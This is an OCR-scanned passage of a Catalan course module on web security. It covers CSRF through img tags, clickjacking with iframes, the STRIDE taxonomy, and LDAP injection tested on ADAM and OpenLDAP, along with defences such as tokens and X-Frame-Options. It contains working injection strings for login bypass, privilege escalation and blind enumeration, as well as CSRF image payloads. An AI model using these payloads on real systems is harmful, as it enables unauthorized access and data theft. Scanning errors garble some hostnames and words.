de CSRF, que permet a un atacant “simular” clics veridics sobre una aplicacid, usant les
credencials (galeta de sessid) d'un usuari. Aquesta accid, mitjancant XSS, és senzilla.

Com ja s'ha posat de manifest moltes vegades al llarg d'aquest modul, s’ha de coneixer
molt a fons el funcionament dels navegadors. En aquest cas farem as d'una condici6é que
tots els navegadors comparteixen; en efecte, no farem servir codi JavaScript sin6 codi
HTML.
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Els navegadors web, com que es troben una etiqueta <img>, segueixen 'adreca del recurs
especificat en el parametre src. Aixo implica una connexio per a intentar baixar la imatge,
que es pot fer entre dominis. Si la imatge no és disponible o la resposta que es rep des del
servidor no es pot interpretar com a imatge, es mostra la icona d'imatge trencada.

Un atacant pot aprofitar aquesta caracteristica dels navegadors per a obligar els usua-
ris afectats a fer accions que no volen fer. Crear una imatge que apunti a I'adreca URL
indicada abans generaria una peticié de tots els navegadors que visitessin la pagina
que conté el codi HTML, i que com veiem intentaria comprar un objecte en el domini
www.sitio0O1.com. El seglient codi HTML s’hauria d’introduir, per exemple, en un co-
mentari del lloc www.sitio002.com.

<img src="http://www.sitio001l.com/comprar.asp?idObjeto=31173
&confirm=yes" />

Com es veu, la tecnica és tan simple com efectiva. Es pot fer as de JavaScript perqueé
l'atac sigui molt més discret. Les imatges disposen d'un esdeveniment onerror que es
llanca perqueé no es pot carregar la imatge. Aixo és semblant a 'atribut alt que es mostra
quan un navegador no resisteix imatges. Usant aquest esdeveniment i modificant el re-
curs referenciat en src podem carregar una imatge existent després de fer la modificacié
maliciosa mitjancant CSRE.

<img src="http://www.sitio001l.com/comprar.asp?idObjeto=31173
&confirm=yes" onerror="this.src='logo.Jjpg';this.onerror=null;"/>

També es pot desencadenar un atac de manera més discreta usant CSS (fulls
d’estil en cascada o cascading style sheets) per a evitar que la imatge trencada
que es genera es mostri a 1'usuari.

L'atac que hem descrit més amunt s'ha pogut dur a terme gracies al fet que la
pagina de sitio001.com accepta peticions GET, aquelles en que els parametres
es remeten en ’'URL, en lloc de requerir POST per als enviaments d'informacio.
Una peticié GET sempre és més facil de manipular que una peticié POST. Ai-
X0 €s aixi perqué per a generar una peticié POST hem d’escriure codi JavaS-
cript, que pot entrar en conflicte amb possibles filtres anti-XSS que hi hagi en
l'aplicacio.

Tanmateix, i encara que establissim com a requisit que les peticions es fessin
mitjancant POST, aix0 no ens garantiria la seguretat de la nostra pagina ni dels

nostres clients.

Per a millorar la seguretat enfront d'un possible atac podem fer ts de les cap-
caleres Referer, que indiquen la pagina des de la qual s'ha arribat a una altra.
S'utilitzen, per exemple, per a conéixer quines sén les cerques que permeten
a un usuari arribar a un lloc web des d'un cercador. Una mesura de proteccio,
encara que es pot saltar, é&s comprovar que les peticions fetes a les nostres pa-
gines, o almenys a aquelles que impliquen accions sensibles, es fan des del

nostre propi domini.

L'anica protecci6 real enfront d'atacs de CSRF és establir una serie de valors
numerics que es generin de manera Gnica en cada petici6. Aquests valors es
poden establir com un CAPTCHA que l'usuari ha d'introduir quan fa accions
critiques o com un valor ocult, en un camp hidden, dins del codi de la pagi-
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na que comprovem quan l'usuari ens retorna la peticié. Aquestes mesures, si
bé son tedioses de programar, ens permeten assegurar les dades dels nostres
usuaris.

Com a usuaris d'aplicacions possiblement vulnerables a CSRF podem prendre
una serie de precaucions que intentin evitar un atac mitjancant aquesta teéc-
nica. Les mesures s6n aquestes:

e Tancar la sessi6 immediatament després de 1'as d'una aplicacio.

¢ No permetre que el navegador emmagatzemi les credencials de cap pagina,
ni que cap servidor mantingui la nostra sessié recordada més enlla del

temps d'Gs.

e Utilitzar navegadors diferents per a les aplicacions d'oci i les critiques. Fent
aixo ens assegurem la independéncia de les galetes de sessi6 entre nave-
gadors.

1.3. Clickjacking

Les tecniques de clickjacking son una amenaca recent per als navegadors
i els usuaris dels navegadors. Es basen a enganyar els usuaris perque fa-
cin clic sobre elements d'un lloc web on no ho farien mai voluntaria-

ment.

Aixo0 s'aconsegueix superposant dues pagines:

e Una, la principal, amb la pagina en qué volem que realment els usuaris
facin clic en zones especifiques, com per exemple un banc per a fer una

transferéncia.

¢ Una altra, la que serveix d’engany, superposada a l'anterior i amb contin-
guts que serveixin d'al-licient perqué l'usuari faci els clics a les zones volgu-
des; per exemple, un petit joc en qué hem de clicar en determinades zones.

Aquesta técnica es basa en 1'Gs d'iframes superposats. Els iframes sén elements
HTML que permeten incloure un recurs extern dins de la nostra pagina. En-
cara que contenen una série de limitacions a 'hora d'accedir-hi mitjancant

avaScript, es poden usar per a enganyar l'usuari.
’

1) El primer pas és generar una pagina amb I'URL que es vol segrestar i que
sera la base sobre la qual col-locarem la resta d'elements que ens faran falta
per a dur a terme aquesta teécnica.
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Figura 6. Pagina que cal segrestar
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2) El pas seglient és col-locar un iframe amb el seu vertex superior esquerre
exactament en el lloc on volem que faci el clic l'usuari enganyat. Aixo es fa aixi
per a assegurar que, independentment del navegador, el clic s'executi sense

problemes.

Figura 7. Iframe sobre el lloc original

—_1 X

O8 & e S00

3) Finalment s'ha de fer una col-locaci6 i una distribuci6é dels elements a la
pagina que fa l'engany. Es recomanable en aquest sentit crear algun tipus
d'incentiu perqueé l'usuari estigui interessat a fer el clic que es persegueix, a fi

de capturar la seva pulsacio i transmetre-la a la pagina original.
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Figura 8. Col-locacié de l'iframe per a enganyar I'usuari
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Aquesta tecnica la van implementar i presentar per primera vegada Jeremiah

Grossman i Robert Hansen. Aquests dos investigadors van proposar l'exemple

que hem presentat en les imatg

es anteriors com a metode perqueé un usuari

activés una serie de caracteristiques no volgudes del seu reproductor Flash.
Aixo es va aconseguir amb una aplicacio Flash situada a la pagina d’Adobe per
a la configuraci6 de seguretat del connector (plug-in), com es veu en la imatge

seglient:

Figura 9. Configuraci6 de seguretat de Flash Player

) [#] Adobe - Flash Player : Settings Manager - Global Security Settings panel - Mozilla Firefox [#] @@@

File Edit View History Bookmarks Tools Help
A
Search Adobe.com... Q] '\‘
Adobe
Your account = Contact United States (Change)
Home  Solutions  Products  Support  Communities  Company  Downloads  Store
Global Security Settings panel
TABLE OF CONTENTS Adobe Flash Player ™ Settings Manager @
= . @ - N
Flash Player Help @ ‘f & G s | D
Seftings Manager Global Security Settings
- . Some websites may access information from cther sttes using an older
Global Privacy Seftings Panel system of security. This is usually harmless, but it is possible that some
- i sites could obtain unauthorized information using the older system. When a
Global Storage Seftings Panel website attempts to use the older system to access information:
Clobal Security Seftings Panel ® ) Always ask O @ Always allow O @ Always deny
= Global Notifications Settings Panel
= Website Privacy Settings Panel
= Website Storage Settings Panel Always trust files in these locations: Edit locations... |
Display Settings
Local Storage Settings
Microphone Settings i
< >
Done ® & @ £E LocsRodeo S) @ @ c
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Aquesta vulnerabilitat implica la necessitat de proteccié dels navegadors, ja
que aquesta tecnica tornara a utilitzar el navegador de l'usuari per a interactuar
amb el servidor. Per aix0 alguns navegadors aporten directament proteccions
contra aquesta tecnica:

e Firefox no implementa per defecte cap meétode per a protegir els usuaris
enfront d'aquesta técnica d'atac. No obstant aixo, mitjancant l'extensio
NoScript, que fa s del metode ClearClick, evita que un usuari sigui enga-
nyat per a fer clic sobre un element falsejat préviament.

Figura 10. Clickjacking bloquejat

£ install now!
ClearGlickWarnng

@ Potential Clickjacking / Ul Redressing Attempt!

NoScript intercepted a mouse or keyboard interaction with a
partially hidden element. Click on the image below to cycle
between the obstructed and the clear version.

Add to Firefox ~ |

https://addons.mozilla....ddon/722/#install-55211

Keep this element locked (recommended)

e Internet Explorer 8 incorpora de série una proteccié enfront d'aquesta
tecnica que permet als programadors web incloure una capgalera x-fra-
me-options, que si figura establerta com a deny impedeix que la pagina
que l'envia sigui renderitzada dins d'un iframe. També inclou la possibi-
litat d'establir el valor com a sameorigin per a permetre que solament es
pugui carregar si la petici6 es fa des del mateix domini.

Figura 11. Iframe bloquejat des d'Internet Explorer 8
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¢ Enlaresta de navegadors, com Google Chrome, Opera, Safari i Internet
Explorer en versions anteriors a la 8, 'inica mesura de proteccio, i de tipus
parcial, consisteix a deshabilitar tots els elements dinamics, com JavaScript
o Java, o l'opci6 de carregar iframes en el nostre navegador.
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2. Atacs d'injeccio de codi

Les injeccions de codi s6n una cosa que esta en l'ordre del dia actualment a
Internet. Permetre que un usuari introdueixi qualsevol parametre en la nostra
aplicaci6 pot donar lloc a l'accés d’un atacant a informaci6 privilegiada.

Les tecniques d'atac que pot experimentar un sistema s'han catalogat de ma-
nera genérica amb l'acronim stride. Cadascuna de les sigles fa referéncia a un
tipus d'atac:

1) Spoofing (falsejament d’identitat) : fa referéncia a qualsevol tecnica que
permeti a un atacant prendre una identitat que no li correspon. Aquestes tec-

niques d'atac s'usen de manera molt estesa a Internet en diversos nivells:
a) Nivell d'enlla¢

Suplantacié d'adreca fisica: aquesta teécnica s'usa per a saltar proteccions
d'adreca MAC, molt utilitzades en xarxes sense fil, o reserves actives en servi-
dors DHCP (protocol dinamic de configuracié d'hoste o dynamic host configu-

ration protocol).
b) Nivell de xarxa

e Suplantaci6 d'adreca IP: s'utilitzen per a saltar proteccions restringides a
determinades adreces IP. Es van fer famoses en 1'atac a serveis trusted hosts,
en els quals es permetia a un usuari identificar-se directament en un servi-
dor sense introduir contrasenya si venia identificat des d'un servidor amb
una adreca IP en concret.

e Hijacking: busquen aconseguir el control d'una connexié mitjan¢ant la su-
plantaci6 del validador que manté la sessi6 oberta i autenticada. En el cas
del nivell de xarxa l'objectiu és controlar el socol (socket) mitjancant la
suplantacié del nimero de seqiiencia.

¢) Nivell d'aplicacio

e Suplantaci6 de resultats DNS: s'utilitzen per a aconseguir que la victima
pensi que el servidor a que es connecta és el de debo. Per a fer-ho, s’utilitzen
técniques de modificaci6 d'arxius amfitrions (hosts), implantacié de servi-
dors DHCP, atacs d'enverinament de memoria cau (cache) a servidors DNS

mitjancant la técnica de “la data de 'aniversari”.

e Pesca (phishing): 'impacte d'aquesta tecnica d'atac en la societat ha fet que

avui dia la majoria de la gent se’n preocupi. L'objectiu d'aquesta técnica és
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fer pensar a la victima que s'esta connectant a una aplicacié mitjancant la
suplantacié d'un lloc web complet. Es recolza en les tecniques de suplan-
taci6 de DNS.

* Hijacking: és semblant que la del nivell de xarxa, per0 aqui es busca su-
plantar el validador que utilitza el nivell d'aplicaci6. Pot ser un ntmero
identificador de sessi6 en una galeta, un camp hidden d'una pagina web
o un parametre per GET o per POST.

e Suplantaci6 d'usuaris: I'objectiu d'aquesta tecnica d'atac és usurpar la iden-
titat d'un usuari per a fer les accions en lloc seu.

2) Tampering: implica l'intent de forcar el funcionament d'algun mecanisme
de seguretat mitjancant la falsificacié o l'alteraci6 de la informaci6. Aquestes
tecniques s’utilitzen per a modificar fitxers de registre d'accés, modificar la in-
formacié real o alterar-la en el transit que hi ha des de I'emissor fins al receptor.

3) Repudiation: sOn tecniques mitjancant les quals s'evita la certificacio o la
garantia d'un fet. Si un sistema no garanteix el no-repudi no es pot garantir
que la informacié que conté o emet sigui verag. Tenen una rellevancia especial

en entorns d'analisi forense o sistemes contractuals.

4 ) Information disclosure: vulneraci6 de la seguretat d'un sistema que implica
que un usuari no permes accedeixi a informacié o documentacié sensible.
Aquest tipus de vulnerabilitats sén especialment importants i sén protegides
per legislacions especials, sobretot les dades de caracter personal. A Espanya
la seguretat de les dades es regula mitjancant la Llei d'organica de proteccio
de dades (LOPD).

5) Denial of service: les vulnerabilitats de denegaci6 de servei s6n les que in-
terrompen la continuitat dels processos de negoci o servei d'una companyia.
Aquestes vulnerabilitats poden comportar un impacte seris en els interessos
de les companyies. Alguns dels objectius d’aquest tipus d’atacs son els atacs
basats en ordinadors zombis (botnets), els atacs de parada de serveis o els atacs

a les linies de comunicacio6 de les empreses.

6) Elevation of privilege: aquesta fallada de seguretat es produeix quan un
usuari pot canviar el seu nivell de privilegis dins d'un sistema per accedir a
informacio6 o serveis que estan restringits per a la seva identitat. L'elevaci6 de
privilegis és una vulnerabilitat que sol ser l'origen de forats de seguretat que

comporten la denegacio de servei o el descobriment d'informacio.

A partir d'aquesta classificaci6é d'atacs es pot estudiar a fons la implementacié
d'atacs reals, que normalment podria apareixer simultaniament en diverses de

les categories anteriors.
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La injeccié d’ordres és una técnica d'atac a aplicacions web que té l'objectiu
principal d’aprofitar connexions a bases de dades des d'aplicacions web no
protegides per a permetre a un atacant l'execucié d’ordres directament en la
base de dades.

2.1. LDAP Injection

Ara mostrarem les possibilitats i els riscos dels atacs LDAP Injection en apli-
cacions web. Amb aquests exemples volem demostrar que es poden fer atacs
d'elevaci6 de privilegis, de salt de proteccions d'accés i d'accés a dades en ar-
bres LDAP mitjancant 1'as d'injeccions de codi LDAP. Aquestes injeccions de

codi s'han classificat en:

e And LDAP Injection,
¢ OR LDAP Injection
e iBlind LDAP Injection.

Per a provar aquestes tecniques d'injeccié s'han utilitzat els motors ADAM de
Microsoft i el motor OpenLDAP, un producte de programari lliure, d'amplia

implantaci6 a escala mundial.

2.1.1. LDAP Injection amb ADAM de Microsoft

Per a fer totes les proves de les cadenes que cal injectar s'ha utilitzat I'eina LDAP
Browser, que permet connectar-se a diferents arbres LDAP, i un client web sin-
tétic creat amb el component IPWorksASP.LDAP de l'empresa /n Software,
per a fer les proves d'execucié de filtres injectats. En la figura 12 es mostra
I'estructura que s'ha creat d'exemple en ADAM.

Figura 12. Estructura de I'arbre LDAP creat en ADAM
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Suposem ara que l'aplicacié web utilitza una consulta amb el filtre segiient:
(cn=Impresora_1). Quan es llanca aquesta consulta s'obté 1 objecte, com

es veu en la figura 13:

Figura 13. Objecte de resposta amb el filtre (cn=Impresora_1)

’@CIienmLDAP formaticabd- - Windows Intemet Explorer =L 2
@ (I Default.aspx v | 4 | X ||| Live Search R~
% &t | @ Cliente LDAP -Informaticabd- 2 v B) v & v ) Pigina v (} Herramientas v
CLIENTE LDAP por Informatica64
Datos de Usuario
Datos del Servidor R
) Anénimo
Servidor 80.81.106.148 ® Credenciales
[ Puerto 983 Usuario CN=Arvin Sloane SD6,0U=Usuarios,0=RetoH i
Version LDAP 3 Contrasefia
DN: O=RetoHacking4
Datos Consulta
Operador: AND OR © Sin Operador
Atributo_1 cn Valor Impresora_1
Atributo_2 Valor
Resultados
© Datos _ Booleano
Ejecutar la consulta
de la Consulta: (cn _1) \
C _1,0 0 i
Total=1
E1 componente utilizado para esta demo es el IP*Works! V6 de /n software. ww.nsoftware.com.
La demo ha sido desarrollada por Rodolfo Bordén de Informaticasd. s informaticasd.com.
@ Intemet | Modo protegido: activado #®100% ~

El que convé a un atacant que faci una injecci6 és accedir a tota la informacio
mitjancant la inclusi6é d'una consulta que ens retorni totes les impressores. En
I'exemple, veiem com hauria de ser el resultat que s’ha d’obtenir amb una con-
sulta seguint el format definit en les RFC sobre ADAM: (| (cn=Impresora 1)

(cn=Impresora*))
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Figura 14. Totes les impressores
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El componente utilizado para esta demo es el IP*Works! V6 de /n software. www.nsoftware.com.
La demo ha sido por R Bordan de ati v i i

€ Internet | Modo protegido: activado #100%

No obstant aixd, com s’aprecia, per a construir aquest filtre, hauriem d’injectar
un operador i un paréntesi al principi. En I'exemple, la injeccié no resulta gaire
atil perque s'esta fent en tots dos condicionants sobre cn, pero aquest filtre
només s’ha creat per a il-lustrar la necessitat d'injectar codi abans del filtre
i al mig del filtre. Si provem la injeccié que proposa Sacha Faust en ADAM:

(cn=Impresora 1) (| (cn=Impresora%*))

Figura 15. Injeccié sense resultats
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El componente utilizado para esta demo es el IP"Works! V6 de /n software. wiw.nsoftware.com.
La demo ha sido desarrollada por Rodolfo Bordén de Informatica6d. www.informaticaéd.com.

@ Internet | Modo protegido: activado ®100% ~
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Com s’aprecia en la figura anterior, en 1'dltima prova, la injeccié no produeix

cap error, pero a diferencia de les proves que fa Sacha Faust amb SunOne Di-

rectory Server 5.0, el servidor ADAM no retorna més dades. Es a dir, només

retorna les dades del primer filtre complet, i ignora la resta de la cadena.

2.1.2. LDAP Injection amb OpenLDAP

Per a fer les proves d'injeccié en OpenLDAP s'ha utilitzat 'arbre que ofereix per

a aplicacions de prova el projecte OpenLPAD.org, que té l'estructura segiient:

Figura 16. Estructura de I'arbre LDAP en OpenLDAP
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| (3 ou=Groups 2% supportedControl 1.3614142031.101 operational attribute 23
2% supportedControl 1.2.840.113556.1.4.1340 operational attribute 23
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Ready. For Help, press F1

|@ Anonymous

\'Schema loaded

Sobre aquesta estructura executem una consulta per a buscar un usuari, i ob-

tenim un Gnic objecte com a resultat: (uid=kurt)

Figura 17. En executar el filtre (uid=kurt) obtenim un dnic resultat.
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Si volem ampliar el nombre de resultats, seguint el format definit en 1'RFC,
hem d'executar una consulta en qué hem d’injectar un operador OR i un filtre
que inclou tots els resultats, com es veu en la imatge segtient: (| (uid=kurt)
(uid=*))

Figura 18. Tots els usuaris
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Si fem la injecci6 tal com proposa Sacha Faust en el seu document sobre LDAP,
obtindrem els resultats seglients: (uid=kurt) (| (uid=%*))

Figura 19. Injeccié OpenLDAP. S'ignora el segon filtre.
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© Datos ) Booleano
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El componente utilizado para esta demo es el IP*Works! V6 de /n software. www.nsoftware com.
La demo ha sido desarrollada por Rodolfo Bordén de Informaticaéd. www.informaticaéd.com.
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Com s’aprecia en la figura 19, el servidor OpenLDAP ha ignorat el segon filtre
i solament ha retornat un usuari, tal com feia ADAM.

2.1.3. Conclusions
Després de fer aquestes proves, extraiem les conclusions segiients:

e Per a fer una injeccié de codi LDAP en una aplicacié que treballi contra
ADAM o OpenLDAP, cal que el filtre original, és a dir, el del programador,
tingui un operador OR o AND. A partir d'aquest punt es poden fer injecci-
ons de codi que permetin extreure informacio o fer atacs Blind, és a dir,
a cegues.

e La consulta generada després de la injecci6 ha d’estar implantada correc-
tament en un Gnic parell de paréntesi general o bé el component ha de

permetre 'execucié amb informaci6 que no s’utilitzara a la dreta del filtre.

e La injecci6 que queda composta segons el document de Sacha Faust es
pot veure de dues maneres diferents: d’'una banda, com un dnic filtre amb
un operador, i de l'altra, com la concatenaci6é de dos filtres. En el primer
cas, tenim un filtre mal compost. En el segon, parlem d'un comportament
particular d'alguns motors LDAP (que no comparteixen amb OpenLDAP
ni amb ADAM) i a més, amb un segon filtre amb un operador, 1'operador

OR seria innecessari.

A partir d'aquest punt, analitzarem diferents tipus d'injeccions LDAP que po-
den comportar un risc de seguretat en els sistemes LDAP a qué accedeixin
aplicacions web: “OR” LDAP Injection, “AND” LDAP Injection i Blind LDAP
Injection.

2.1.4. “OR” LDAP Injection

En aquest entorn ens trobem que el programador ha creat una consulta LDAP
amb un operador OR i que hi ha un parametre o tots dos que son sol-licitats

a l'usuari:
(| (atributol=valorl) (atributo2=valor2))

Suposem en l'exemple de l'arbre LDAP que tenim una consulta injectable del
tipus segiient: (| (cn=D*) (ou=Groups) ). Es a dir que retorna tots els objectes
en que el valor en “cn” comenca per “D” o el valor en “ou” és “Groups”. En

executar-la obtenim:
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Figura 20. Consulta OR sense injeccié

@ O v | 2] http:/ i i i injection/Default.aspx Live Search L~
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Resultados
© Datos () Booleano
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Total=2
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La demo ha sido desarrollada por Rodolfo Bordén de Informaticaéd. v informaticasd com.

Listo @ Intemet | Modo protegido: activado #®100% ~

Si aquesta consulta té una injecci6é de codi en el primer parametre, podem fer
una consulta que ens retorni la llista d'usuaris emmagatzemats. Per a aixo fem
la injecci6 en el primer valor de la cadena seglient: void) (uid=*)) (| (uid=*

Figura 21. Llista d'usuaris obtinguda després de la injeccié

@O' £/ http: d 25 v | €9 [ X ||| Live Search Pond

% 40 | @ Cliente LOAP -Informaticase- = v B v @ v [ Pigina v {} Hemamientas v

CLIENTE LDAP por Informatica64
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DN: dc=openLDAP dc=org

Datos Consulta
Operador: ) AND © OR ) Sin Operador
Atributo_1 cn Valor void)(uid="))(|(uid="
Atributo_2 ou Valor Groups
Resultados

© Datos ) Booleano
[ Ejecutariaconsuta |
de la Consulta: (|( id)(uid="))(|(uid=")(ou=Groups))

uid=Kkurt,ou=People,dc=OpenLDAP,dc=0Org

uid=kdz,0u=People,dc=OpenLDAP,dc=0rg

uid=hyc,ou=People,dc=OpenLDAP,dc=0rg
uid=venaas,ou=People,dc=OpenLDAP,dc=0rg

Total=4

El componente utilizado para esta demo es el IP*Works! V6 de /n software. www.nsoftware com.
La demo ha sido desarrollada por Rodolfo Bordén de Informsticasd. yvwinformaticasd com,

@ Intemet | Modo protegido: activado ®100% ~

En formar-se la consulta LDAP, aquesta consulta queda construida de la mane-
ra segient: (| (cn=void) (uid=*)) (| (uid=*) (ou=Groups) ). Aixi, permet
obtenir la llista de tots els usuaris de 'arbre LDAP.
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Un altre exemple d'aquesta técnica és la seglient aplicacié de gestio interna;
en aquest cas, tenim una aplicacié que llanca una consulta LDAP del tipus
segient:

(| (type=outputDevices) (type=printer))

Figura 22. Llista d'impressores i dispositius de sortida
@ Resources - Morlla Firefox [E=EIT5)

Archivo Editar Ver Historial Marcadores Herramientas Ayuda

<":! & > @ G} http://www.ServerDemo.com/resources.php?type=printer % P“ @'

RESOURCES EXPLORER
User Steven Lisberger Level low
Resatreal s o]
- - - -
Xerox 2300 Laser Color HP Laserjet 2100 Cannon 349 Lx II Xerox WSX1200

Terminado

Si el parametre type que va per GET en I'URL és injectable, un atacant pot
modificar el filtre de consulta LDAP amb una injecci6 del tipus segiient:

(| (type=outputDevices) (type=printer) (uid=*)) (| (type=void))

Amb aquesta injecci6 l'atacant obtindra, en aquest exemple, la llista de tots

els usuaris, com es veu en la figura 23:

Figura 23. Accés a la llista d'usuaris mitjancant OR LDAP Injection
@ Resources - Mozilla Firefox [E=EE)

Archivo Editar Ver Historial Marcadores Herramientas Ayuda

<"] < v @ G} [ http://www.ServerDemo.com/resources.php?type=printer)(uid=")) v D\‘ [C]+| Google \\\/

RESOURCES EXPLORER

User Steven Lisberger Levellow
R s T
c/ e 4 e/ e §
=z = = =
Xerox 2300 Laser Color HP Laserjet 2100 Cannon 349 Lx II Xerox WSX1200
/ e/ e/ o/
Steven Lisberger David Warner Cindy Morgan Alan Bradley

Terminado
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2.1.5. “AND” LDAP Injection

En el cas d'injeccions en consultes LDAP que porten l'operador AND, l'atacant
esta obligat a utilitzar com a valor en el primer atribut una cosa valida, pero
es poden utilitzar les injeccions per a mediatitzar els resultats i, per exemple,
fer escalades de privilegis. En aquest cas ens trobarem una consulta del tipus
seglient:

(& (atributol=valorl) (atributo2=valor2))
Suposem un entorn en qué es mostra la llista de tots els documents a que
té accés un usuari amb pocs privilegis, mitjancant una consulta que inclou
el directori de documents en un parametre injectable. Es a dir, la consulta
original és aquesta:

(& (directorio=nombre directorio) (nivel seguridad=bajo))

Un atacant pot construir una injeccié de la manera segiient, per poder accedir
als documents de nivell de seguretat alt:

(& (directorio=almacen) (nivel seguridad=alto)) (| (directorio=almacen) (nivel seguridad=bajo))

Per a aconseguir aquest resultat s’ha d'injectar en el nom del directori la cadena

segient:

almacen) (nivel seguridad=alto)) (| (directorio=almacen

Un exemple d'aquest atac el tenim en l'aplicaci6 seglient. En primer lloc, s’ha
de fer un accés no autoritzat a I'aplicacié web utilitzant una injeccié que eviti
la comprovacié de la contrasenya. L'aplicaci6 llanga una consulta LDAP del
tipus segtlient:

(& (uid=valor de user) (password=valor de password)
L'atacant, injectant la cadena s1isberger) (&)) en el valor del USER, obtin-

dra una consulta LDAP que sempre retornara a l'usuari s1isberger, i per tant
aconseguira l'accés a 1'aplicacio.
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Figura 24. Accés no autoritzat mitjancant AND LDAP Injection

@ Login - Mozilla Firefox (=]
Archivo Editar Ver Historial Marcadores Herramientas Ayuda
<j > @ 4 @ {1_1‘ L http://www.ServerDemo.com/ ;‘i [>‘ @"L:‘ECQ‘E vw\‘
ACCESS CONTROL.
USER [lisbergedi(e)) ]
PASSWORD [Fressssssssssses ]
Terminado

I com es veu en la figura 25, 'usuari aconsegueix accés al directori privat
de l'usuari slisberger. En aquest cas, s'ha utilitzat el filtre (&), que és
I'equivalent al valor TRUE en els filtres LDAP.

Figura 25. Directori Home de l'usuari

[ @& Home - Moxilla Firefox @E‘g
Archivo Editar Ver Historial Marcadores Herramientas Ayuda
<:| < @ < @ {L‘ http://www.ServerDemo.com ?’FJ ‘i@(cg\& T
HOME
User Steven Lisberger Level low
Terminado

Com es veu, en aquest cas, l'usuari ha accedit amb privilegis de nivell baix, i en
'aplicacié de mostrar documents, que hem descrit al principi d'aquest apartat,
solament tindria accés als documents de nivell baix, com es veu en la figura 26:
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Figura 26. Llista de documents de nivell baix

Documents - Mozilla Firefox m‘

Archivo Editar Ver Historial Marcadores Herramientas Ayuda
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" Prentice Hall Low
Terminado

La consulta que s'esta executant és aquesta:

(& (directory=nombre directorio) (level=1low))
El valor de level l'esta agafant l'aplicaci6 de les variables de sessio del ser-
vidor; no obstant aix0, un atacant podria injectar en el nom del directori
I'ordre segilient: Documents) (level=High). D'aquesta manera, l'ordre que
s'executaria és aquesta:

(& (directory=Documents) (level=High)) (level=low))

Aixo permetria a l'atacant accedir a tots els documents. S'ha produit una ele-

vacio de privilegis.
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Figura 27. Elevacié de privilegis mitjancant AND LDAP Injection
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2.2. Blind LDAP Injection

Una de les evolucions de les injeccions d’ordres sén les accions a cegues: els
atacs “Blind”. Es comt trobar-se documentats els atacs Blind SQL Injection; pero,
no obstant aixo, dels atacs Blind LDAP Injection no se n'ha parlat gens. També
es pot fer un atac a cegues per a extreure informacié d'un arbre LDAP.

L'entorn per a fer un atac a cegues sol ser una aplicacié web que compleix dues
caracteristiques:

e L'aplicacié no mostra els resultats obtinguts de la consulta que s’ha fet a
l'arbre LDAP.

e L'Gs dels resultats produeix canvis en la resposta http que rep el client.
Per a fer un atac a cegues hem de poder crear la l0gica per a extreure informacio

canviant els resultats obtinguts amb el filtre LDAP i observant els canvis en
les respostes http.
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2.2.1. Blind LDAP Injection en un entorn “AND”

En aquesta situacié tenim una consulta generada en el costat del servidor del
tipus segtient:

(& (atributol=valorl) (atributo2=valor2))

Per a fer la injecci6 hem de tenir en compte que en un entorn AND tenim un
parametre fix que ens condicionara. L'entorn ideal és que l'atributol sigui
tan general com es pugui, com per exemple objectClass, 0 cn, de manera
que podrem seleccionar gairebé qualsevol objecte de l'arbre. Després hi hau-
rem d'aplicar un valor que sigui True, és a dir que sempre seleccioni objectes
per a tenir-lo fixat a valor true, i utilitzar com a segon atribut un de conegut
que també ens garanteixi que sigui True.

Imaginem-nos la consulta LDAP segiient:
(& (objectClass=Impresoras) (impresoraTipo=Epson*))

Aquesta consulta es llanca per a saber si en el magatzem d'una empresa hi
ha impressores Epson, de manera que el programador, si rep algun objecte,

simplement pinta en la pagina web una icona d'una impressora Epson.

Es clar que el maxim que aconseguirem després de la injecci6 és veure, o no,
la icona de la impressora. Bé, doncs som-hi. Fixem la resposta positiva tal com
hem dit, fent una injecci6 del tipus segiient:

(& (objectClass=*) (objectClass=*)) (& (objectClass=void) (impresoraTipo=Epson¥*))

El que hi ha en negreta és la injeccié que introdueix 1'atacant. Aquesta injec-
ci6 ha de retornar sempre algun objecte després; en l'exemple plantejat, en
la resposta http, veurem una icona de la impressora. A partir d'aqui podrem
extreure els tipus d'objectClass que tenim en el nostre arbre LDAP.

2.2.2. Reconeixement de classes d'objectes d'un arbre LDAP

Sabent que el filtre (objectClass=*) sempre retorna algun objecte, ens hem de

centrar en el segon filtre fent un recorregut de la manera segiient:

(& (objectClass=*) (objectClass=users)) (& (objectClass=foo) (impresoraTipo=Epson*) )

(& (objectClass=*) (objectClass=personas)) (& (ocbjectClass=foo) (impresoraTipo=Epson¥*) )
(& (objectClass=*) (objectClass=usuarios)) (& (objectClass=foo) (impresoraTipo=Epson*))
(& (objectClass=*) (objectClass=logins)) (& (objectClass=foo) (impresoraTipo=Epson*))

(& (objectClass=*) (objectClass=...)) (& (objectClass=foo) (impresoraTipo=Epson*))
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De manera que totes les injeccions que retornin la icona de la impressora a
la pagina web sén respostes afirmatives que ens indiquen l'existéncia d'aquest
tipus d'objectes.

Una altra manera més eficient és fent un escombratge en l'espectre de 1'alfabet
de possibles valors utilitzant una cerca amb comodins; per a aix0 hem
d’elaborar un arbre que comenci per totes les lletres de l'abecedari, de la ma-

nera segiient:

(& (objectClass=*) (objectClass=a*)) (& (objectClass=foo) (impresoraTipo=Epson¥*))

(& (objectClass=*) (objectClass=b*)) (& (objectClass=foo) (impresoraTipo=Epson¥*))

(& (objectClass=*) (objectClass=z*)) (& (objectClass=foo) (impresoraTipo=Epson*))

De tal manera que seguiriem desplegant I’arbre d’aquelles que haguessin donat
una resposta positiva.

(& (objectClass=*) (objectClass=aa*)) (& (objectClass=foo) (impresoraTipo=Epson*))

(& (objectClass=*) (objectClass=ab*)) (& (objectClass=foo) (impresoraTipo=Epson*))
(& (objectClass=*) (objectClass=az*)) (& (objectClass=foo) (impresoraTipo=Epson*))
(& (objectClass=*) (objectClass=ba*)) (& (objectClass=foo) (impresoraTipo=Epson*))
(& (objectClass=*) (objectClass=bb*)) (& (objectClass=foo) (impresoraTipo=Epson*))

I aixi successivament, de manera que, desplegant sempre les respostes positi-
ves, podrem arribar a saber el nom de tots els objetcClass d'un sistema.

Figura 28. Arbre de desplegament. S'aprofundeix en totes les respostes positives (color verd).

o - - :Zor* -

Aquest mecanisme no solament funciona per a objectClass sind que és va-
lid per a qualsevol atribut que un objecte compartis amb l'atribut fix. Una ve-
gada trets els objectClass, podem fer el mateix recorregut per a extreure’n
la informaci6; per exemple, si volem extreure els noms de tots els usuaris d'un

sistema, n’hi ha prou de fer I'escombratge amb la injecci6 segilient:
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(& (objectClass=user) (uid=a*)) (& (objectClass=foo) (impresoraTipo=Epson*))
(& (objectClass=user) (uid=b*)) (& (objectClass=foo) (impresoraTipo=Epson*))
(& (objectClass=user) (uid=z*)) (& (objectClass=foo) (impresoraTipo=Epson*))

